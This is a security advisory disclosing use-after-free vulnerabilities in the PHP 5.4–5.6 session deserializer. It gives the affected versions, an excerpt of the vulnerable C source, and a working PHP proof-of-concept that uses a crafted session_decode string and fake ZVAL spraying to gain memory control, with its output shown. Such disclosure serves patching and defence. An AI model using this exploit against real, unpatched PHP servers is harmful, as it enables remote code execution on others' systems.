PHP 5.6 / 5.5 / 5.4 Session Deserialized Use-After-Free

`#Use After Free Vulnerabilities in Session Deserializer  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.8.9  
- Release Date: 2015.9.4  
  
> Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.13  
Affected is PHP 5.5 < 5.5.29  
Affected is PHP 5.4 < 5.4.45  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
```  
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */  
{  
  
...   
  
PHP_VAR_UNSERIALIZE_INIT(var_hash);  
  
p = val;  
  
while (p < endptr) {  
  
...  
  
if (has_value) {  
ALLOC_INIT_ZVAL(current);  
if (php_var_unserialize(&current, (const unsigned char **) &q,  
(const unsigned char *) endptr, &var_hash TSRMLS_CC)) {  
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);  
}  
zval_ptr_dtor(&current);  
}  
PS_ADD_VARL(name, namelen);  
skip:  
efree(name);  
  
p = q;  
}  
break_outer_loop:  
  
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);  
  
return SUCCESS;  
}  
```  
  
When session deserializer (php/php_binary) deserializing multiple data  
it will call to php_var_unserialize() multiple times. So we can create  
ZVAL and free it via the php_var_unserialize() with a crafted  
serialized string, and also free the memory (reduce the reference  
count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two  
identical session data, then the next call to php_var_unserialize()  
will still allow to use R: or r: to set references to that already  
freed memory. It is possible to use-after-free attack and execute  
arbitrary code remotely.  
  
In some other cases, session deserializer  
(php/php_binary/php_serialize) may also lead to use-after-free  
vulnerabilities: i) via crafted Serializable::unserialize() ii) via  
unserialize()'s callback function and zend_lookup_class() call a  
crafted __autoload().  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.  
  
```  
<?php  
  
session_start();  
  
$fakezval = ptr2str(1122334455);  
$fakezval .= ptr2str(0);  
$fakezval .= "\x00\x00\x00\x00";  
$fakezval .= "\x01";  
$fakezval .= "\x00";  
$fakezval .= "\x00\x00";  
  
$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';  
// $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';  
session_decode($exploit);  
  
for ($i = 0; $i < 5; $i++) {  
$v[$i] = $fakezval.$i;  
}  
  
var_dump($_SESSION);  
  
function ptr2str($ptr)  
{  
$out = "";  
for ($i = 0; $i < 8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
?>  
```  
  
Test the PoC on the command line:  
  
```  
$ php uafpoc.php  
array(2) {  
["ryat"]=>  
NULL  
["chtg"]=>  
array(1) {  
[0]=>  
int(1122334455) <=== so we can control the memory and create fake ZVAL :)  
}  
}  
```  
  
  
`